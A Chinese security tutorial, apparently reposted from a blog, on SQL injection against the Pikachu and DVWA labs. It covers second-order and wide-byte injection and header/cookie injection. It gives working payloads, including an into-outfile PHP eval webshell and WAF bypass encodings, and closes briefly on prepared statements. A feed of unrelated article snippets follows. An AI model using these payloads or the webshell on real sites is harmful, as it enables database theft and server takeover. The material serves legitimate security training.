【网络安全的神秘世界】SQL注入(下)

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

3.7 二次注入

不好挖这个漏洞,需要搞懂业务逻辑关系

二次注入通常是指在存入数据库时做了过滤,但是取出来的时候没有做过滤,而产生的数据库注入

1️⃣插入恶意数据

在第一次向数据库插入数据库时,网站本身使用addslashes()对其中的特殊字符进行转义,但是addslashes()有一个特点就是虽然参数在过滤后会添加“\"进行转义,但是”\"并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据

在MySQL中,\属于转义字符,当我们insert插入\字符时,\在数据库中最终只会存储为空值“ ”

在这里插入图片描述

2️⃣引用恶意数据

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了了脏数据,没有进一步的校验和处理,这样就会造成SQL的二次注入

在这里插入图片描述

3.8 宽字节注入

安装pikachu环境

docker pull area39/pikachu
docker run -d -p 8000:80 area39/pikachu

借助 Docker 轻松搭建 Pikachu 靶场教程

宽字节概念

  • 如果一个字符的大小是一个字节的,称为窄字节;

  • 如果一个字符的大小是两个及以上字节的,称为宽字节;

  • 像GB2312、GBK、GB18030、BIG5、Shift_jis等编码都是常见的宽字节字符集

  • 英文默认占一个字节,中文占两个字节

宽字节注入原理

宽字节注入利用MySQL的一个特性:使用GBK编码的时候,会认为两个字符是一个汉字

进入pikachu靶场的后端查看mysql数据库中使用的什么编码

docker exec -it pikachu_id bash

在这里插入图片描述

show variables like '%character%'

在这里插入图片描述

发现数据库用的latin1编码方式,但是上面说了用gbk编码才有宽字节注入场景

而pikachu靶场又存在宽字节注入,那是因为网站代码手动设置了mysql编码为gbk

在这里插入图片描述


判断输入点是字符型,构造字符型注入语句

在这里插入图片描述

发现注入失败,但是去数据库里能查出来,这说明网站做了过滤

在这里插入图片描述

为了防止网站被SQL注入,网站开发人员会做一些防护措施,其中最常见的就是对一些特殊字符进行转义

通过前面的学习可以了解到,SQL注入非常关键的一步就是让引号闭合和跳出引号,无法跳出引号,那么输入的内容就永远在引号里,即永远是字符串,无法实现SOL注入

网站开发者也想到了这一步,于是做个防护措施:转义,对输入的敏感内容、特殊字符进行转义

addslashes()函数

  • addslashes() 会在预定义字符之前添加反斜线 \进行转义
  • 预定义字符:单引号',双引号",反斜线\,NULL

【转义】:预定义字符在加上反斜线之后,就已经不具备其原有的语法功能了,就仅仅是一个普通的字符串了

绕过addslashes()函数

通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到 addslashes() 函数时,单引号会被转义,导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符\ 失效、使单引号逃逸

✨绕过原理:

# 前端输入
kobe%df' or 1=1# # 后端通过addslashes()添加转义字符\,编码后变成%5C
kobe%df\' or 1=1# 
kobe%df%5c%27 or 1=1# # 因为数据库使用gbk编码(2个字节会被编码为1个汉字),那么%df%5c= 運
kobe運' or 1=1#

✨绕过步骤:

1️⃣输入 kobe%df' and 1=1# 后发现还是失败

在这里插入图片描述

抓包发现那是因为网站前端对%做了url编码变成%25

在这里插入图片描述

2️⃣抓包直接在bp中修改,就不会经过url编码了

在这里插入图片描述

掌握这个原理后,%df也可以替换成其他2位16进制数;不同的编码方式有不同的绕过方法

3.9 http header和cookie注入

HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的不同场景下该怎么使用

当攻击者能够控制这些 HTTP 头部字段的值,并且应用程序没有正确地转义或过滤这些输入时,他们可能会插入恶意的 SQL 代码片段,从而可能导致数据泄露、数据篡改、甚至完全控制数据库

进入pikachu的http header来进行一下测试:

抓包将它发送到【Repeater】模块,将User-Agent的值删掉,自己构造一个单引号:

在这里插入图片描述

出现了语法错误,意味着输入的内容会到数据库中进行查询,接下来的步骤就很简单了,跟前面的报错注入是一样的

'or updatexml(1,concat(0x7e,database()),0) or'

cookie注入就是把注入语句通过抓包放进cookie里面,跟上面的步骤一样,这里不再赘述了

四、从MySQL注入到GetShell

mysql支持向外写文件(这里的“外”是指服务器内部,除mysql),需要用到select into outfile命令

select into outfile的作用:将被选择的一行代码写入一个文件中,文件被创建到服务器上

select into outfile的使用前提是:

  • 要知道网站的绝对路径,可以通过开源程序、报错信息、phpinfo界面、404界面等方式知道
  • 对目录要有写权限,一般image之类的存放图片的目录有写权限
  • 要有mysql file权限(即能够对系统的文件读写操作),默认情况下只有root权限有

还要注意:写的文件名一定是在网站中不存在的,不然会失败

我们使用into outfile写入一句话木马,文件名为shell2.php:

1' union select 1,"<?php eval($_POST['a']);?>" into outfile ' /var/www/html/shell2.php
  • eval():允许执行任何传递给它的 PHP 代码字符串
  • $_POST[‘a’]:a是攻击者定义的关键字,用来接收攻击者输入的内容
  • /var/www/html:网站的根目录,底层是Linux系统的话,文件通常放在这

1️⃣在DVWA Low等级的SQL Injection中输入

在这里插入图片描述

2️⃣访问http://ip:port/shell2.php,打开hackerbar插件,勾选Post data,给a传递参数后点击【Execute】执行

在这里插入图片描述

pwd属于操作系统命令,不能直接传递给php,要按照规定的格式写

在这里插入图片描述

使用get方法,直接在url构造

1' union select 1,"<?php eval($_GET['a']);?>" into outfile ' /var/www/html/shell2.php

在这里插入图片描述

在这里插入图片描述

3️⃣打开蚁剑,密码为a(蚁剑出于安全考虑,只能连接post方法)

在这里插入图片描述

五、SQL注入绕过

5.1 大小写绕过

适用于设置了黑名单的情况下,可以任意的把某些字改为大小写

举例:seLeCT、SelEcT

5.2 替换关键字

大小写转换无法绕过,而且正则表达式会替换或删除select、union等关键字可以尝试双写:

举例:SELselectECT、SeLSeselectleCTect

5.3 使用编码

在浏览器输入一个链接,浏览器会对特殊字符进行url编码,可以通过编码的方式进行绕过

空格%20、单引号%27、左括号%28、右括号%29

1️⃣url编码

1%2527id=1%252f%252a*/UNION%252f%252a%252a/SELECT

2️⃣16进制编码

mysql>select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select password from users where first_name=0x61646d696e),0x7e)));

5.4 使用注释

比如输入select 1被网站拦截,可以尝试select/**/1进行注释绕过

1️⃣普通注释

看一下常见的用于注释的符号有哪些:

-- ,/**/,#,-- -,

2️⃣内联注释

不具备注释语义的注释符:仍然能执行出结果

相比普通注释,内联注释使用的更多,它有一个特性/* ! */只有MySQL能识别

/*!SELECT*/1/*!union*//*!all*//*!select*/2;

5.5 等价函数与命令替换

1、函数

bin()	#二进制
hex()   #十六进制
bin()、hex() ==> ascii()sleep() ==> benchmark()
benchmark(count,expr)
benchmark会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率concat_ws() ==> concat()
concat_wa("分隔符",字段1,字段2....)  #多个列的字段合并并添加分隔符mid()、substr() ==> substring() #字符串的截取strcmp(str1,str2) 
#比较两个字符串,如果两个字符串相等就返回0,如果第二个字符小于第一个字符就返回1,反之返回-1
strcmp(left('password',1),0x70) = 0
strcmp(left('password',1),0x69) = 1
strcmp(left('password',1),0x71) = -1

2、符号

当and和or不能用时,可以用&& 和 || 替换

=不能使用时,可以考虑<、>

空格,可以使用如下符号表示:%20 %09 % 0a %0b %0c %0d %a0 /**/

5.6 特殊符号

1、反引号`(tab键上方):可以过滤空格和正则,特殊情况下还可以当注释

select id from`users`;

2、-+:过滤空格和关键字

select+user_id-1+1.from users;

3、@符号:@表示用户定义,@@表示系统变量

select@^1,from users;

4、部分可能发挥作用的符号:`、~、!、@、%、()、[]、.、-、+、|、%00

六、SQL注入防御

--------------sql注入的危害这么大,为什么不对数据库进行修改?

mysql的作用只是存储和查询数据,而注入是代码层面出现的问题,所以不需要对数据库进行修复

6.1 预编译和绑定变量

预编译:提前构造好语句,只能提交指定类型的值

String sql="select id,num from user where id=?"  //定义sql语句PreparedStatement ps=conn.prepareStatemnt(sql)ps.setInt(1,id);  //设置变量ps.executeQuery();  //执行

那么后面输入的内容只会被当作字符串来执行,关键字不能发挥语义

6.2 严格检查参数的数据类型,使用安全函数

并不是所有场景都能采用sql语句预编译,也可以对输入的内容进行严格检测,根据业务特征做好过滤

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/865755.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解码AWS EC2:塑造云服务器新标杆的五大核心优势

在云计算领域&#xff0c;亚马逊弹性计算云&#xff08;Amazon Elastic Compute Cloud, 简称EC2&#xff09;作为AWS的明星服务&#xff0c;凭借其卓越的性能、灵活性和广泛的生态系统&#xff0c;已经成为企业构建云上基础设施的首选。EC2不仅仅是一个简单的云服务器租用服务&…

研发税优分析系统

1.Excel文档的读取于结构化 辅助帐&#xff1a; 数据格式化问题&#xff1a; 1)日期&#xff0c; "27-一月-2021" 需要转换&#xff0c;需确定格式(已解决) 2)种类&#xff0c; 3)凭证号&#xff0c; 2.0210100010153E13 需要转换&#xff0c;需…

sqlalchemy Lost connection to MySQL server during query

遇到 “Lost connection to MySQL server during query” 的错误通常与多种因素有关&#xff0c;这些因素可能包括网络问题、MySQL服务器配置、SQLAlchemy的使用方式等。以下是一些解决此问题的步骤和建议&#xff1a; 1. 检查网络连接 确保你的应用程序能够稳定地连接到MySQ…

mojo编程语言:开发者的新宠儿

Mojo是一种新兴的编程语言&#xff0c;正迅速成为AI开发者的热门选择。以下是一些关于Mojo的关键点&#xff1a; ### 1. 高性能 Mojo的设计目标是提供接近C和Rust等系统编程语言的性能&#xff0c;但同时保留Python的易用性。这使得AI开发者可以编写高效的代码&#xff0c;而不…

AI在软件开发:助力开发者还是取而代之?

在软件开发领域&#xff0c;生成式人工智能&#xff08;AIGC&#xff09;正逐步展现其巨大的潜力&#xff0c;成为开发者们不可或缺的助手。无论是代码生成、错误检测&#xff0c;还是自动化测试&#xff0c;AI工具都在为开发者们提供前所未有的支持。然而&#xff0c;随着AI技…

ERROR 2002 (HY000)

Can’t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock’ (2) Redirecting to /bin/systemctl restart mysqld.service Job for mysqld.service failed because the control process exited with error code. See “systemctl status mysqld.serv…

“2024软博会” 为软件企业提供集展示、交流、合作一站式平台

随着全球科技浪潮的涌动&#xff0c;软件行业正迎来前所未有的发展机遇&#xff0c;成为了全球新一轮竞争的“制高点”&#xff0c;以及未来经济发展的“增长点”。在当前互联网、大数据、云计算、人工智能、区块链等技术加速创新的背景下&#xff0c;数字经济已经渗透到经济社…

设计模式简单示例

1. 设计模式 2. 设计模式分类 2.1. 命令模式 命令模式&#xff08;Command Pattern&#xff09;是一种行为型设计模式&#xff0c;又叫动作模式或事务模式。它将请求&#xff08;命令&#xff09;封装成对象&#xff0c;使得可以用不同的请求对客户端进行参数化&#xff0c;…

使用androidx.appcompat:appcompat:1.7.0无法运行的问题

问题&#xff1a; 使用 implementation ‘androidx.appcompat:appcompat:1.7.0’ 出现无法运行的问题&#xff0c;编译都没有问题 AGPBI: {“kind”:“error”,“text”:“java.lang.NullPointerException”,“sources”:[{“file”:“C:\Users\10557\.gradle\caches\transfor…

工控软件开发框架,GTK和QT好难选,快来拯救开发者。

工控软件开发框架如何选&#xff0c;有人喜欢GTK&#xff0c;有人钟意QT&#xff0c;而且每个人都有自己的一番道理&#xff0c;好像说的还都有理&#xff0c;这种情况该怎么办呢?大千UI工场带着你深入了解下。 一、GTK是什么 GTK&#xff08;GIMP Toolkit&#xff09;是一个…

【JavaWeb】利用IntelliJ IDEA 2024.1.4 +Tomcat10 搭建Java Web项目开发环境(图文超详细)

1、启动IntelliJ idea 2024.1.4 在欢迎页面&#xff0c;请确认好版本。因为不同的版本&#xff0c;搭建项目过程不太一样。 点击&#xff0c;新建项目。如图&#xff1a; 2、新建项目 在新建项目界面&#xff0c;选择java&#xff0c;在右侧信息模块内&#xff0c;根据个人情…

帮公司搭了个Nuxt3项目框架

theme: smartblue 最近公司立项了一个新项目&#xff0c;因为是to C 的&#xff0c;所以对SEO是有较高需求的&#xff0c;由于公司前端技术栈统一用的VUE&#xff0c;顺理成章的就选择了nuxt这个全栈框架。项目立项之后我就被安排了负责前端项目框架的搭建&#xff0c;从搭建过…

高校教师教学质量评估系统-计算机毕业设计源码03344

摘要 在高等教育中&#xff0c;教学质量是培养优秀人才的关键。为了提高教学质量&#xff0c;高校需要建立一套科学、有效的教师教学质量评估系统。本研究采用 SSM技术框架&#xff0c;旨在开发一款高校教师教学质量评估系统。 SSM框架作为一种成熟的Java开发框架&#xff0c;具…

网安小贴士(6)TCP/IP分层

一、前言 1983年&#xff0c;美国国防部决定将TCP/IP作为所有计算机网络的标准协议&#xff0c;这标志着TCP/IP正式成为互联网的基础协议。随着个人计算机的普及和网络技术的发展&#xff0c;TCP/IP模型被广泛应用于各种网络环境中&#xff0c;包括局域网&#xff08;LAN&#…

java-5 道经典算法题

字符串处理、动态规划、递归和二分查找等方面。通过详细的题目描述、解题思路和完整的代码示例&#xff0c;展示了如何在实际开发中应用这些经典算法。以下是对每道题目和对应算法的进一步探讨和总结。 ### 1. 求数组的最大子数组和 #### 进一步探讨 最大子数组和问题是一个…

银行清算业务功能测试解析

银行清算业务是指银行间通过账户或有关货币当地清算系统&#xff0c;在办理结算和支付中用以清讫双边或多边债权债务的过程和方法。按地域划分&#xff0c;清算业务可分为国内联行清算和国际清算。常见的清算模式包括实时全额清算、净额批量清算、大额资金转账系统及小额定时清…

【图说中国】大江大河你知道哪些?

【图说中国】大江大河你知道哪些&#xff1f; 中国河流 中国是世界上河流最多国家之一&#xff0c;其中流域面积超过1000平方米河流就有1500多条。 主要有长江、黄河、黑龙江、珠江、淮河、海河、辽河、雅鲁藏布江、塔里木河、澜沧江、怒江、闽江、钱塘江、韩江、鸭绿江、图…

Qt绘制多线段

最近画辅助线有刚需。 画图准备增加绘制多线段功能。 有哪些方法呢&#xff1f; QPainter Class | Qt GUI 5.15.17 void QPainter::drawPolyline(const QPolygon &points) QPolygon Class | Qt GUI 5.15.17 QPolygon polygon; polygon << QPoint(10, 20) <&…

Pandas函数详解:案例解析(第25天)

系列文章目录 Pandas函数详解排序函数聚合函数缺失值处理日期函数 文章目录 系列文章目录前言1 索引和列名操作1.1 查看索引和列名1.2 修改索引和列名 2 常用计算函数2.1 排序函数2.2 聚合函数2.3 练习 3 缺失值处理3.1 缺失值概念3.2 加载包含缺失值数据3.3 查看缺失值3.4 缺失…

十五、【源码】给代理对象设置属性

源码地址&#xff1a;https://github.com/spring-projects/spring-framework 仓库地址&#xff1a;https://gitcode.net/qq_42665745/spring/-/tree/15-proxy-set-property 给代理对象设置属性 之前的代码是创建Bean进行判断&#xff0c;要不要进行代理&#xff0c;如果代理…